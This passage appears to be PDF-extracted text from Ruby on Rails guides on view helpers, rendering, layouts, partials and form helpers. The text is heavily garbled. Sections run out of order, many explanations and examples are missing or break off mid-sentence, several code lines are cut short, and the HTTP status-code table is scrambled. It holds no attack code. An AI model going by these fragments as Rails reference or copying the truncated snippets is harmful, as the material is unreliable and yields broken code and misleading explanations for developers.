# => <input id="name" name="name" type="text" />
6.10.14 email_field_tag
6.11 JavaScriptHelper
Provides functionality for working with JavaScript in your views.
6.11.1 escape_javascript
Escape carrier returns and single and double quotes for JavaScript
segments.
6.11.2 javascript_tag
6.12 NumberHelper
Provides methods for converting numbers into formatted strings. Methods
are provided for phone numbers, currency, percentage, precision,
positional notation, and file size.
6.12.1 number_to_currency
6.12.4 number_to_phone
6.13 SanitizeHelper
The SanitizeHelper module provides a set of methods for scrubbing text of
undesired HTML elements.
6.13.1 sanitize
This sanitize helper will HTML encode all tags and strip all attributes that
aren't specifically allowed.
sanitize @article.body
If either the :attributes or :tags options are passed, only the mentioned
attributes and tags are allowed and nothing else.
To change defaults for multiple uses, for example adding table tags to the
default:
Strips all link tags from text leaving just the link text.
Strips all HTML tags from the html, including comments. This uses the
html-scanner tokenizer and so its HTML parsing ability is limited by that
of html-scanner.
strip_tags("Strip <i>these</i> tags!")
# => Strip these tags!
NB: The output may still contain unescaped '<', '>', '&' characters and
confuse browsers.
6.14 CsrfHelper
Returns meta tags "csrf-param" and "csrf-token" with the name of the
cross-site request forgery protection parameter and token, respectively.
<%= csrf_meta_tags %>
Regular forms generate hidden fields so they do not use these tags. More
details can be found in the Rails Security Guide.
7 Localized Views
Action View has the ability to render different templates depending on the
current locale.
For example, suppose you have an ArticlesController with a show
action. By default, calling this action will render
app/views/articles/show.html.erb. But if you set I18n.locale = :de,
then app/views/articles/show.de.html.erb will be rendered instead. If
the localized template isn't present, the undecorated version will be used.
This means you're not required to provide localized views for all cases, but
they will be preferred and used if available.
You can use the same technique to localize the rescue files in your public
directory. For example, setting I18n.locale = :de and creating
public/500.de.html and public/404.de.html would allow you to have
localized rescue pages.
Since Rails doesn't restrict the symbols that you use to set I18n.locale, you
can leverage this system to display different content depending on
anything you like. For example, suppose you have some "expert" users
that should see different pages from "normal" users. You could add the
following to app/controllers/application.rb:
before_action :set_expert_locale
def set_expert_locale
I18n.locale = :expert if current_user.expert?
end
You can read more about the Rails Internationalization (I18n) API here.
2 Creating Responses
From the controller's point of view, there are three ways to create an HTTP
response:
Call render to create a full response to send back to the browser
Call redirect_to to send an HTTP redirect status code to the
browser
Call head to create a response consisting solely of HTTP headers to
send back to the browser
2.1 Rendering by Default: Convention Over Configuration in Action
You've heard that Rails promotes "convention over configuration". Default
rendering is an excellent example of this. By default, controllers in Rails
automatically render views with names that correspond to valid routes. For
example, if you have this code in your BooksController class:
class BooksController < ApplicationController
end
However a coming soon screen is only minimally useful, so you will soon
create your Book model and add the index action to BooksController:
class BooksController < ApplicationController
def index
@books = Book.all
end
end
Note that we don't have explicit render at the end of the index action in
accordance with "convention over configuration" principle. The rule is that
if you do not explicitly render something at the end of a controller action,
Rails will automatically look for the action_name.html.erb template in
the controller's view path and render it. So in this case, Rails will render
the app/views/books/index.html.erb file.
If we want to display the properties of all the books in our view, we can do
so with an ERB template like this:
<h1>Listing Books</h1>
<table>
<tr>
<th>Title</th>
<th>Summary</th>
<th></th>
<th></th>
<th></th>
</tr>
</table>
<br>
<%= link_to "New book", new_book_path %>
if @book.update(book_params)
redirect_to(@book)
else
render "edit"
end
end
If the call to update fails, calling the update action in this controller will
render the edit.html.erb template belonging to the same controller.
If you prefer, you can use a symbol instead of a string to specify the action
to render:
def update
@book = Book.find(params[:id])
if @book.update(book_params)
redirect_to(@book)
else
render :edit
end
end
2.2.2 Rendering an Action's Template from Another Controller
Rails knows that this view belongs to a different controller because of the
embedded slash character in the string. If you want to be explicit, you can
use the :template option (which was required on Rails 2.2 and earlier):
render template: "products/show"
2.2.3 Rendering an Arbitrary File
The render method can also use a view that's entirely outside of your
application:
The :file option takes an absolute file-system path. Of course, you need
to have rights to the view that you're using to render the content.
Using the :file option in combination with users input can lead to
security problems since an attacker could use this action to access security
sensitive files in your file system.
By default, the file is rendered using the current layout.
If you're running Rails on Microsoft Windows, you should use the :file
option to render a file, because Windows filenames do not have the same
format as Unix filenames.
2.2.4 Wrapping it up
The above three ways of rendering (rendering another template within the
controller, rendering a template within another controller and rendering an
arbitrary file on the file system) are actually variants of the same action.
In fact, in the BooksController class, inside of the update action where we
want to render the edit template if the book does not update successfully,
all of the following render calls would all render the edit.html.erb
template in the views/books directory:
render :edit
render action: :edit
render "edit"
render "edit.html.erb"
render action: "edit"
render action: "edit.html.erb"
render "books/edit"
render "books/edit.html.erb"
render template: "books/edit"
render template: "books/edit.html.erb"
render "/path/to/rails/app/views/books/edit"
render "/path/to/rails/app/views/books/edit.html.erb"
render file: "/path/to/rails/app/views/books/edit"
render file: "/path/to/rails/app/views/books/edit.html.erb"
Which one you use is really a matter of style and convention, but the rule
of thumb is to use the simplest one that makes sense for the code you are
writing.
2.2.5 Using render with :inline
There is seldom any good reason to use this option. Mixing ERB into your
controllers defeats the MVC orientation of Rails and will make it harder
for other developers to follow the logic of your project. Use a separate erb
view instead.
By default, inline rendering uses ERB. You can force it to use Builder
instead with the :type option:
You can send plain text - with no markup at all - back to the browser by
using the :plain option to render:
render plain: "OK"
Rendering pure text is most useful when you're responding to Ajax or web
service requests that are expecting something other than proper HTML.
By default, if you use the :plain option, the text is rendered without using
the current layout. If you want Rails to put the text into the current layout,
you need to add the layout: true option and use the .txt.erb extension
for the layout file.
2.2.7 Rendering HTML
You can send an HTML string back to the browser by using the :html
option to render:
render html: "<strong>Not Found</strong>".html_safe
JSON is a JavaScript data format used by many Ajax libraries. Rails has
built-in support for converting objects to JSON and rendering that JSON
back to the browser:
You don't need to call to_json on the object that you want to render. If
you use the :json option, render will automatically call to_json for you.
2.2.9 Rendering XML
Rails also has built-in support for converting objects to XML and
rendering that XML back to the caller:
render xml: @product
You don't need to call to_xml on the object that you want to render. If you
use the :xml option, render will automatically call to_xml for you.
2.2.10 Rendering Vanilla JavaScript
This will send the supplied string to the browser with a MIME type of
text/javascript.
2.2.11 Rendering raw body
You can send a raw content back to the browser, without setting any
content type, by using the :body option to render:
render body: "raw"
This option should be used only if you don't care about the content type of
the response. Using :plain or :html might be more appropriate most of
the time.
Unless overridden, your response returned from this render option will be
text/html, as that is the default content type of Action Dispatch response.
2.2.12 Options for render
By default, Rails will serve the results of a rendering operation with the
MIME content-type of text/html (or application/json if you use the
:json option, or application/xml for the :xml option.). There are times
when you might like to change this, and you can do so by setting the
:content_type option:
render file: filename, content_type: "application/rss"
2.2.12.2 The :layout Option
You can use the :location option to set the HTTP Location header:
render xml: photo, location: photo_url(photo)
2.2.12.4 The :status Option
Rails will automatically generate a response with the correct HTTP status
code (in most cases, this is 200 OK). You can use the :status option to
change this:
render status: 500
render status: :forbidden
Redirection
Client Error
204
205
206
207
208
226
300
301
302
303
304
305
307
308
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
:no_content
:reset_content
:partial_content
:multi_status
:already_reported
:im_used
:multiple_choices
:moved_permanently
:found
:see_other
:not_modified
:use_proxy
:temporary_redirect
:permanent_redirect
:bad_request
:unauthorized
:payment_required
:forbidden
:not_found
:method_not_allowed
:not_acceptable
:proxy_authentication_required
:request_timeout
:conflict
:gone
:length_required
:precondition_failed
:payload_too_large
:uri_too_long
Server Error
415
:unsupported_media_type
416
417
422
423
424
426
428
429
431
500
501
502
503
504
505
506
507
508
510
511
:range_not_satisfiable
:expectation_failed
:unprocessable_entity
:locked
:failed_dependency
:upgrade_required
:precondition_required
:too_many_requests
:request_header_fields_too_large
:internal_server_error
:not_implemented
:bad_gateway
:service_unavailable
:gateway_timeout
:http_version_not_supported
:variant_also_negotiates
:insufficient_storage
:loop_detected
:not_extended
:network_authentication_required
If you try to render content along with a non-content status code (100-199,
204, 205 or 304), it will be dropped from the response.
2.2.12.5 The :formats Option
Rails uses the format specified in the request (or :html by default). You
can change this passing the :formats option with a symbol or an array:
layout "main"
#...
end
With this declaration, all of the views in the entire application will use
app/views/layouts/main.html.erb for their layout.
2.2.13.2 Choosing Layouts at Runtime
You can use a symbol to defer the choice of layout until a request is
processed:
class ProductsController < ApplicationController
layout :products_layout
def show
@product = Product.find(params[:id])
end
private
def products_layout
@current_user.special? ? "special" : "products"
end
end
Now, if the current user is a special user, they'll get a special layout when
viewing a product.
You can even use an inline method, such as a Proc, to determine the
layout. For example, if you pass a Proc object, the block you give the Proc
will be given the controller instance, so the layout can be determined
based on the current request:
Layouts specified at the controller level support the :only and :except
options. These options take either a method name, or an array of method
names, corresponding to method names within the controller:
class ProductsController < ApplicationController
layout "product", except: [:index, :rss]
end
With this declaration, the product layout would be used for everything but
the rss and index methods.
2.2.13.4 Layout Inheritance
articles_controller.rb
class ArticlesController < ApplicationController
end
special_articles_controller.rb
class SpecialArticlesController < ArticlesController
layout "special"
end
old_articles_controller.rb
class OldArticlesController < SpecialArticlesController
layout false
def show
@article = Article.find(params[:id])
end
def index
@old_articles = Article.older
render layout: "old"
end
# ...
end
In this application:
In general, views will be rendered in the main layout
ArticlesController#index will use the main layout
SpecialArticlesController#index will use the special layout
OldArticlesController#show will use no layout at all
OldArticlesController#index will use the old layout
2.2.13.5 Template Inheritance
Sooner or later, most Rails developers will see the error message "Can
only render or redirect once per action". While this is annoying, it's
relatively easy to fix. Usually it happens because of a fundamental
misunderstanding of the way that render works.
For example, here's some code that will trigger this error:
def show
@book = Book.find(params[:id])
if @book.special?
render action: "special_show"
end
render action: "regular_show"
end
Make sure to use and return instead of && return because && return
will not work due to the operator precedence in the Ruby Language.
Note that the implicit render done by ActionController detects if render
has been called, so the following will work without errors:
def show
@book = Book.find(params[:id])
if @book.special?
render action: "special_show"
end
end
This will render a book with special? set with the special_show
template, while other books will render with the default show template.
2.3 Using redirect_to
Another way to handle returning responses to an HTTP request is with
redirect_to. As you've seen, render tells Rails which view (or other
asset) to use in constructing a response. The redirect_to method does
You can use redirect_back to return the user to the page they just came
from. This location is pulled from the HTTP_REFERER header which is not
guaranteed to be set by the browser, so you must provide the
fallback_location to use in this case.
redirect_back(fallback_location: root_path)
2.3.1 Getting a Different Redirect Status Code
Rails uses HTTP status code 302, a temporary redirect, when you call
redirect_to. If you'd like to use a different status code, perhaps 301, a
permanent redirect, you can use the :status option:
redirect_to photos_path, status: 301
Just like the :status option for render, :status for redirect_to accepts
both numeric and symbolic header designations.
2.3.2 The Difference Between render and redirect_to
With the code in this form, there will likely be a problem if the @book
variable is nil. Remember, a render :action doesn't run any code in the
target action, so nothing will set up the @books variable that the index
view will probably require. One way to fix this is to redirect instead of
rendering:
def index
@books = Book.all
end
def show
@book = Book.find_by(id: params[:id])
if @book.nil?
redirect_to action: :index
end
end
With this code, the browser will make a fresh request for the index page,
the code in the index method will run, and all will be well.
The only downside to this code is that it requires a round trip to the
browser: the browser requested the show action with /books/1 and the
controller finds that there are no books, so the controller sends out a 302
redirect response to the browser telling it to go to /books/, the browser
complies and sends a new request back to the controller asking now for the
index action, the controller then gets all the books in the database and
renders the index template, sending it back down to the browser which
then shows it on your screen.
While in a small application, this added latency might not be a problem, it
is something to think about if response time is a concern. We can
demonstrate one way to handle this with a contrived example:
def index
@books = Book.all
end
def show
@book = Book.find_by(id: params[:id])
if @book.nil?
@books = Book.all
flash.now[:alert] = "Your book was not found"
render "index"
end
end
This would detect that there are no books with the specified ID, populate
the @books instance variable with all the books in the model, and then
directly render the index.html.erb template, returning it to the browser
with a flash alert message to tell the user what happened.
2.4 Using head To Build Header-Only Responses
The head method can be used to send responses with only headers to the
browser. The head method accepts a number or symbol (see reference
table) representing an HTTP status code. The options argument is
interpreted as a hash of header names and values. For example, you can
return only an error header:
head :bad_request
3 Structuring Layouts
When Rails renders a view as a response, it does so by combining the view
with the current layout, using the rules for finding the current layout that
were covered earlier in this guide. Within a layout, you have access to
three tools for combining different bits of output to form the overall
response:
Asset tags
yield and content_for
Partials
3.1 Asset Tag Helpers
Asset tag helpers provide methods for generating HTML that link views to
feeds, JavaScript, stylesheets, images, videos and audios. There are six
asset tag helpers available in Rails:
auto_discovery_link_tag
javascript_include_tag
stylesheet_link_tag
image_tag
video_tag
audio_tag
You can use these tags in layouts or other views, although the
auto_discovery_link_tag, javascript_include_tag, and
stylesheet_link_tag, are most commonly used in the <head> section of
a layout.
The asset tag helpers do not verify the existence of the assets at the
specified locations; they simply assume that you know what you're doing
and generate the link.
"alternate".
:type specifies an explicit MIME type. Rails will generate an
appropriate MIME type automatically.
:title specifies the title of the link. The default value is the
uppercase :type value, for example, "ATOM" or "RSS".
3.1.2 Linking to JavaScript Files with the javascript_include_tag
You can specify a full path relative to the document root, or a URL, if you
prefer. For example, to link to a JavaScript file that is inside a directory
called javascripts inside of one of app/assets, lib/assets or
vendor/assets, you would do this:
<%= javascript_include_tag "main" %>
To include http://example.com/main.js:
<%= javascript_include_tag "http://example.com/main.js" %>
3.1.3 Linking to CSS Files with the stylesheet_link_tag
To include http://example.com/main.css:
<%= stylesheet_link_tag "http://example.com/main.css" %>
The image_tag helper builds an HTML <img /> tag to the specified file.
By default, files are loaded from public/images.
Note that you must specify the extension of the image.
<%= image_tag "header.png" %>
You can supply alternate text for the image which will be used if the user
has images turned off in their browser. If you do not specify an alt text
explicitly, it defaults to the file name of the file, capitalized and with no
extension. For example, these two image tags would return the same code:
<%= image_tag "home.gif" %>
<%= image_tag "home.gif", alt: "Home" %>
You can also specify a special size tag, in the format "{width}x{height}":
<%= image_tag "home.gif", size: "50x20" %>
In addition to the above special tags, you can supply a final hash of
standard HTML options, such as :class, :id or :name:
<%= image_tag "home.gif", alt: "Go Home",
id: "HomeImage",
class: "nav_bar" %>
The video_tag helper builds an HTML 5 <video> tag to the specified file.
By default, files are loaded from public/videos.
<%= video_tag "movie.ogg" %>
Produces
<video src="/videos/movie.ogg" />
Like an image_tag you can supply a path, either absolute, or relative to the
public/videos directory. Additionally you can specify the size: "#
{width}x#{height}" option just like an image_tag. Video tags can also
have any of the HTML options specified at the end (id, class et al).
The video tag also supports all of the <video> HTML options through the
HTML options hash, including:
poster: "image_name.png", provides an image to put in place of the
The audio_tag helper builds an HTML 5 <audio> tag to the specified file.
By default, files are loaded from public/audios.
<%= audio_tag "music.mp3" %>
You can also supply a hash of additional options, such as :id, :class etc.
Like the video_tag, the audio_tag has special options:
autoplay: true, starts playing the audio on page load
controls: true, provides browser supplied controls for the user to
<html>
<head>
</head>
<body>
<%= yield %>
</body>
</html>
The main body of the view will always render into the unnamed yield. To
render content into a named yield, you use the content_for method.
3.3 Using the content_for Method
The content_for method allows you to insert content into a named yield
block in your layout. For example, this view would work with the layout
that you just saw:
<% content_for :head do %>
<title>A simple page</title>
<% end %>
<p>Hello, Rails!</p>
The result of rendering this page into the supplied layout would be this
HTML:
<html>
<head>
<title>A simple page</title>
</head>
<body>
<p>Hello, Rails!</p>
</body>
</html>
To render a partial as part of a view, you use the render method within the
view:
<%= render "menu" %>
This will render a file named _menu.html.erb at that point within the view
being rendered. Note the leading underscore character: partials are named
with a leading underscore to distinguish them from regular views, even
though they are referred to without the underscore. This holds true even
when you're pulling in a partial from another folder:
roles/index.html.erb
<%= render "shared/search_filters", search: @q do |f| %>
<p>
Title contains: <%= f.text_field :title_contains %>
</p>
<% end %>
shared/_search_filters.html.erb
<%= form_for(@q) do |f| %>
<h1>Search form:</h1>
<fieldset>
<%= yield f %>
</fieldset>
<p>
<%= f.submit "Search" %>
</p>
<% end %>
For content that is shared among all pages in your application, you can use
partials directly from layouts.
3.4.3 Partial Layouts
A partial can use its own layout file, just as a view can use a layout. For
example, you might call a partial like this:
<%= render partial: "link_area", layout: "graybar" %>
layouts folder).
You can also pass local variables into partials, making them even more
powerful and flexible. For example, you can use this technique to reduce
duplication between new and edit pages, while still keeping a bit of
distinct content:
new.html.erb
<h1>New zone</h1>
<%= render partial: "form", locals: {zone: @zone} %>
edit.html.erb
<h1>Editing zone</h1>
<%= render partial: "form", locals: {zone: @zone} %>
_form.html.erb
<%= form_for(zone) do |f| %>
<p>
<b>Zone name</b><br>
<%= f.text_field :name %>
</p>
<p>
<%= f.submit %>
</p>
<% end %>
Although the same partial will be rendered into both views, Action View's
submit helper will return "Create Zone" for the new action and "Update
show.html.erb
<%= render article, full: true %>
_articles.html.erb
<h2><%= article.title %></h2>
<% if local_assigns[:full] %>
<%= simple_format article.body %>
<% else %>
<%= truncate article.body %>
<% end %>
This way it is possible to use the partial without the need to declare all
local variables.
Every partial also has a local variable with the same name as the partial
(minus the underscore). You can pass an object in to this local variable via
the :object option:
<%= render partial: "customer", object: @new_customer %>
If you have an instance of a model to render into a partial, you can use a
shorthand syntax:
<%= render @customer %>
_product.html.erb
<p>Product Name: <%= product.name %></p>
<h1>Products</h1>
<%= render @products %>
Rails determines the name of the partial to use by looking at the model
name in the collection. In fact, you can even create a heterogeneous
collection and render it this way, and Rails will choose the proper partial
for each member of the collection:
index.html.erb
<h1>Contacts</h1>
<%= render [customer1, employee1, customer2, employee2] %>
customers/_customer.html.erb
<p>Customer: <%= customer.name %></p>
employees/_employee.html.erb
<p>Employee: <%= employee.name %></p>
To use a custom local variable name within the partial, specify the :as
option in the call to the partial:
With this change, you can access an instance of the @products collection
as the item local variable within the partial.
You can also pass in arbitrary local variables to any partial you are
rendering with the locals: {} option:
<%= render partial: "product", collection: @products,
as: :item, locals: {title: "Products Page"} %>
In this case, the partial will have access to a local variable title with the
value "Products Page".
Rails also makes a counter variable available within a partial called by the
collection, named after the member of the collection followed by
_counter. For example, if you're rendering @products, within the partial
you can refer to product_counter to tell you how many times the partial
has been rendered. This does not work in conjunction with the as: :value
option.
You can also specify a second partial to be rendered between instances of
the main partial by using the :spacer_template option:
3.4.7 Spacer Templates
Rails will render the _product_ruler partial (with no data passed in to it)
between each pair of _product partials.
3.4.8 Collection Partial Layouts
The layout will be rendered together with the partial for each item in the
collection. The current object and object_counter variables will be
available in the layout as well, the same way they do within the partial.
3.5 Using Nested Layouts
You may find that your application requires a layout that differs slightly
from your regular application layout to support one particular controller.
Rather than repeating the main layout and editing it, you can accomplish
this by using nested layouts (sometimes called sub-templates). Here's an
example:
Suppose you have the following ApplicationController layout:
app/views/layouts/application.html.erb
<html>
<head>
<title><%= @page_title or "Page Title" %></title>
<%= stylesheet_link_tag "layout" %>
<style><%= yield :stylesheets %></style>
</head>
<body>
<div id="top_menu">Top menu items here</div>
<div id="menu">Menu items here</div>
<div id="content"><%= content_for?(:content) ? yield(:cont
</body>
</html>
That's it. The News views will use the new layout, hiding the top menu
and adding a new right menu inside the "content" div.
There are several ways of getting similar results with different subtemplating schemes using this technique. Note that there is no limit in
nesting levels. One can use the ActionView::render method via render
template: 'layouts/news' to base a new layout on the News layout. If
you are sure you will not subtemplate the News layout, you can replace the
content_for?(:news_content) ? yield(:news_content) : yield with
simply yield.
When called without arguments like this, it creates a <form> tag which,
when submitted, will POST to the current page. For instance, assuming the
current page is /home/index, the generated HTML will look like this
(some line breaks added for readability):
You'll notice that the HTML contains an input element with type hidden.
This input is important, because the form cannot be successfully
submitted without it. The hidden input element with the name utf8
enforces browsers to properly respect your form's character encoding and
is generated for all forms whether their action is "GET" or "POST".
The second input element with the name authenticity_token is a
security feature of Rails called cross-site request forgery protection, and
form helpers generate it for every non-GET form (provided that this
security feature is enabled). You can read more about this in the Security
Guide.
1.1 A Generic Search Form
One of the most basic forms you see on the web is a search form. This
form contains:
a form element with "GET" method,
a label for the input,
a text input element, and
a submit element.
To create this form you will use form_tag, label_tag, text_field_tag,
and submit_tag, respectively. Like this:
<%= form_tag("/search", method: "get") do %>
<%= label_tag(:q, "Search for:") %>
<%= text_field_tag(:q) %>
<%= submit_tag("Search") %>
<% end %>
For every form input, an ID attribute is generated from its name ("q" in
above example). These IDs can be very useful for CSS styling or
manipulation of form controls with JavaScript.
Besides text_field_tag and submit_tag, there is a similar helper for
every form control in HTML.
Always use "GET" as the method for search forms. This allows users to
bookmark a specific search and get back to it. More generally Rails
encourages you to use the right HTTP verb for an action.
Here, method and class are appended to the query string of the generated
URL because even though you mean to write two hashes, you really only
specified one. So you need to tell Ruby which is which by delimiting the
first hash (or both) with curly brackets. This will generate the HTML you
expect:
Checkboxes are form controls that give the user a set of options they can
enable or disable:
<%= check_box_tag(:pet_dog) %>
<%= label_tag(:pet_dog, "I own a dog") %>
<%= check_box_tag(:pet_cat) %>
<%= label_tag(:pet_cat, "I own a cat") %>
Radio buttons, while similar to checkboxes, are controls that specify a set
of options in which they are mutually exclusive (i.e., the user can only pick
one):
<%= radio_button_tag(:age, "child") %>
<%= label_tag(:age_child, "I am younger than 21") %>
<%= radio_button_tag(:age, "adult") %>
<%= label_tag(:age_adult, "I'm over 21") %>
Output:
<input id="age_child" name="age" type="radio" value="child" />
<label for="age_child">I am younger than 21</label>
<input id="age_adult" name="age" type="radio" value="adult" />
<label for="age_adult">I'm over 21</label>
Output:
Hidden inputs are not shown to the user but instead hold data like any
textual input. Values inside them can be changed with JavaScript.
The search, telephone, date, time, color, datetime, datetime-local, month,
week, URL, email, number and range inputs are HTML5 controls. If you
require your app to have a consistent experience in older browsers, you
will need an HTML5 polyfill (provided by CSS and/or JavaScript). There
is definitely no shortage of solutions for this, although a popular tool at the
moment is Modernizr, which provides a simple way to add functionality
based on the presence of detected HTML5 features.
If you're using password input fields (for any purpose), you might want to
configure your application to prevent those parameters from being logged.
You can learn about this in the Security Guide.
Upon form submission the value entered by the user will be stored in
params[:person][:name]. The params[:person] hash is suitable for
passing to Person.new or, if @person is an instance of Person,
@person.update. While the name of an attribute is the most common
second parameter to these helpers this is not compulsory. In the example
above, as long as person objects have a name and a name= method Rails
will be happy.
You must pass the name of an instance variable, i.e. :person or "person",
The name passed to form_for controls the key used in params to access
the form's values. Here the name is article and so all the inputs have
names of the form article[attribute_name]. Accordingly, in the create
action params[:article] will be a hash with keys :title and :body. You
can read more about the significance of input names in the
parameter_names section.
The helper methods called on the form builder are identical to the model
object helpers except that it is not necessary to specify which object is
being edited since this is already managed by the form builder.
You can create a similar binding without actually creating <form> tags
with the fields_for helper. This is useful for editing additional model
objects with the same form. For example, if you had a Person model with
an associated ContactDetail model, you could create a form for creating
both like so:
The object yielded by fields_for is a form builder like the one yielded by
form_for (in fact form_for calls fields_for internally).
2.3 Relying on Record Identification
The Article model is directly available to users of the application, so following the best practices for developing with Rails - you should declare
it a resource:
resources :articles
Declaring a resource has a number of side effects. See Rails Routing From
the Outside In for more information on setting up and using resources.
When dealing with RESTful resources, calls to form_for can get
significantly easier if you rely on record identification. In short, you can
just pass the model instance and have Rails figure out model name and the
rest:
## Creating a new article
# long-style:
form_for(@article, url: articles_path)
# same thing, short-style (record identification gets used):
form_for(@article)
## Editing an existing article
# long-style:
form_for(@article, url: article_path(@article), html: {method: "
# short-style:
form_for(@article)
If you have created namespaced routes, form_for has a nifty shorthand for
that too. If your application has an admin namespace then
form_for [:admin, @article]
output:
When parsing POSTed data, Rails will take into account the special
_method parameter and act as if the HTTP method was the one specified
inside it ("PATCH" in this example).
Here you have a list of cities whose names are presented to the user.
Internally the application only wants to handle their IDs so they are used
as the options' value attribute. Let's see how Rails can help out here.
3.1 The Select and Option Tags
The most generic helper is select_tag, which - as the name implies simply generates the SELECT tag that encapsulates an options string:
This is a start, but it doesn't dynamically create the option tags. You can
generate option tags with the options_for_select helper:
<%= options_for_select([['Lisbon', 1], ['Madrid', 2], ...]) %>
output:
<option value="1">Lisbon</option>
<option value="2">Madrid</option>
...
value.
Whenever Rails sees that the internal value of an option being generated
matches this value, it will add the selected attribute to that option.
The second argument to options_for_select must be exactly equal to the
desired internal value. In particular if the value is the integer 2 you cannot
pass "2" to options_for_select - you must pass 2. Be aware of values
extracted from the params hash as they are all strings.
When :include_blank or :prompt are not present, :include_blank is
forced true if the select attribute required is true, display size is one and
multiple is not true.
# view:
<%= select(:person, :city_id, [['Lisbon', 1], ['Madrid', 2], ...
Notice that the third parameter, the options array, is the same kind of
argument you pass to options_for_select. One advantage here is that
you don't have to worry about pre-selecting the correct city if the user
already has one - Rails will do this for you by reading from the
@person.city_id attribute.
As with other helpers, if you were to use the select helper on a form
only edit attributes. You should also be aware of the potential security
ramifications of allowing users to edit foreign keys directly.
3.3 Option Tags from a Collection of Arbitrary Objects
Generating options tags with options_for_select requires that you create
an array containing the text and value for each option. But what if you had
a City model (perhaps an Active Record one) and you wanted to generate
option tags from a collection of those objects? One solution would be to
make a nested array by iterating over them:
To recap, options_from_collection_for_select is to
collection_select what options_for_select is to select.
Pairs passed to options_for_select should have the name first and the id
second, however with options_from_collection_for_select the first
argument is the value method and the second the text method.
3.4 Time Zone and Country Select
To leverage time zone support in Rails, you have to ask your users what
time zone they are in. Doing so would require generating select options
from a list of pre-defined TimeZone objects using collection_select,
but you can simply use the time_zone_select helper that already wraps
this:
<%= time_zone_select(:person, :time_zone) %>
Date.civil(params[:start_date][:year].to_i, params[:start_date][
The :prefix option is the key used to retrieve the hash of date components
from the params hash. Here it was set to start_date, if omitted it will
default to date.
4.2 Model Object Helpers
select_date does not work well with forms that update or create Active
Record objects as Active Record expects each element of the params hash
to correspond to one attribute. The model object helpers for dates and
times submit parameters with special names; when Active Record sees
parameters with such names it knows they must be combined with the
other parameters and given to a constructor appropriate to the column type.
For example:
<%= date_select :person, :birth_date %>
When this is passed to Person.new (or update), Active Record spots that
these parameters should all be used to construct the birth_date attribute
and uses the suffixed information to determine in which order it should
pass these parameters to functions such as Date.civil.
4.3 Common Options
Both families of helpers use the same core set of functions to generate the
individual select tags and so both accept largely the same options. In
particular, by default Rails will generate year options 5 years either side of
the current year. If this is not an appropriate range, the :start_year and
:end_year options override this. For an exhaustive list of the available
options, refer to the API documentation.
As a rule of thumb you should be using date_select when working with
model objects and select_date in other cases, such as a search form
which filters results by date.
In many cases the built-in date pickers are clumsy as they do not aid the
user in working out the relationship between the date and the day of the
week.
4.4 Individual Components
Occasionally you need to display just a single date component such as a
year or a month. Rails provides a series of helpers for this, one for each
component select_year, select_month, select_day, select_hour,
select_minute, select_second. These helpers are fairly straightforward.
By default they will generate an input field named after the time
component (for example, "year" for select_year, "month" for
select_month etc.) although this can be overridden with the :field_name
option. The :prefix option works in the same way that it does for
The first parameter specifies which value should be selected and can either
be an instance of a Date, Time or DateTime, in which case the relevant
component will be extracted, or a numerical value. For example:
<%= select_year(2009) %>
<%= select_year(Time.now) %>
will produce the same output if the current year is 2009 and the value
chosen by the user can be retrieved by params[:date][:year].
5 Uploading Files
A common task is uploading some sort of file, whether it's a picture of a
person or a CSV file containing data to process. The most important thing
to remember with file uploads is that the rendered form's encoding MUST
be set to "multipart/form-data". If you use form_for, this is done
automatically. If you use form_tag, you must set it yourself, as per the
following example.
The following two forms both upload a file.
<%= form_tag({action: :upload}, multipart: true) do %>
<%= file_field_tag 'picture' %>
<% end %>
<%= form_for @person do |f| %>
<%= f.file_field :picture %>
<% end %>
def upload
uploaded_io = params[:person][:picture]
File.open(Rails.root.join('public', 'uploads', uploaded_io.ori
file.write(uploaded_io.read)
end
end
Once a file has been uploaded, there are a multitude of potential tasks,
ranging from where to store the files (on disk, Amazon S3, etc) and
associating them with models to resizing image files and generating
thumbnails. The intricacies of this are beyond the scope of this guide, but
there are several libraries designed to assist with these. Two of the better
known ones are CarrierWave and Paperclip.
If the user has not selected a file the corresponding parameter will be an
empty string.
5.2 Dealing with Ajax
Unlike other forms, making an asynchronous file upload form is not as
simple as providing form_for with remote: true. With an Ajax form the
serialization is done by JavaScript running inside the browser and since
JavaScript cannot read files from your hard drive the file cannot be
uploaded. The most common workaround is to use an invisible iframe that
serves as the target for the form submission.
The form builder used also determines what happens when you do
have a hash of model objects keyed by their id, an array index or some
other parameter.
Array parameters do not play well with the check_box helper. According
to the HTML specification unchecked checkboxes submit no value.
However it is often convenient for a checkbox to always submit a value.
The check_box helper fakes this by creating an auxiliary hidden input with
the same name. If the checkbox is unchecked only the hidden input is
submitted and if it is checked then both are submitted but the value
submitted by the checkbox takes precedence. When working with array
parameters this duplicate submission will confuse Rails since duplicate
input names are how it decides when to start a new array element. It is
preferable to either use check_box_tag or to use hashes instead of arrays.
7.3 Using Form Helpers
The previous sections did not use the Rails form helpers at all. While you
can craft the input names yourself and pass them directly to helpers such
as text_field_tag Rails also provides higher level support. The two tools
at your disposal here are the name parameter to form_for and fields_for
and the :index option that helpers take.
You might want to render a form with a set of edit fields for each of a
person's addresses. For example:
Assuming the person had two addresses, with ids 23 and 45 this would
{'person' => {'name' => 'Bob', 'address' => {'23' => {'city' =>
Rails knows that all these inputs should be part of the person hash because
you called fields_for on the first form builder. By specifying an :index
option you're telling Rails that instead of naming the inputs
person[address][city] it should insert that index surrounded by []
between the address and the city. This is often useful as it is then easy to
locate which Address record should be modified. You can pass numbers
with some other significance, strings or even nil (which will result in an
array parameter being created).
To create more intricate nestings, you can specify the first part of the input
name (person[address] in the previous example) explicitly:
As a general rule the final input name is the concatenation of the name
given to fields_for/form_for, the index value and the name of the
attribute. You can also pass an :index option directly to helpers such as
text_field, but it is usually less repetitive to specify this at the form
builder level rather than on individual input controls.
As a shortcut you can append [] to the name and omit the :index option.
This is the same as specifying index: address so
The fields_for yields a form builder. The parameters' name will be what
accepts_nested_attributes_for expects. For example, when creating a
user with 2 addresses, the submitted parameters would look like:
{
'person' => {
'name' => 'John Doe',
'addresses_attributes' => {
'0' => {
'kind' => 'Home',
'street' => '221b Baker Street'
},
'1' => {
'kind' => 'Office',
'street' => '31 Spooner Street'
}
}
}
}
private
def person_params
params.require(:person).permit(:name, addresses_attributes:
end
end
If the hash of attributes for an object contains the key _destroy with a
value of 1 or true then the object will be destroyed. This form allows
users to remove addresses:
<%= form_for @person do |f| %>
Addresses:
<ul>
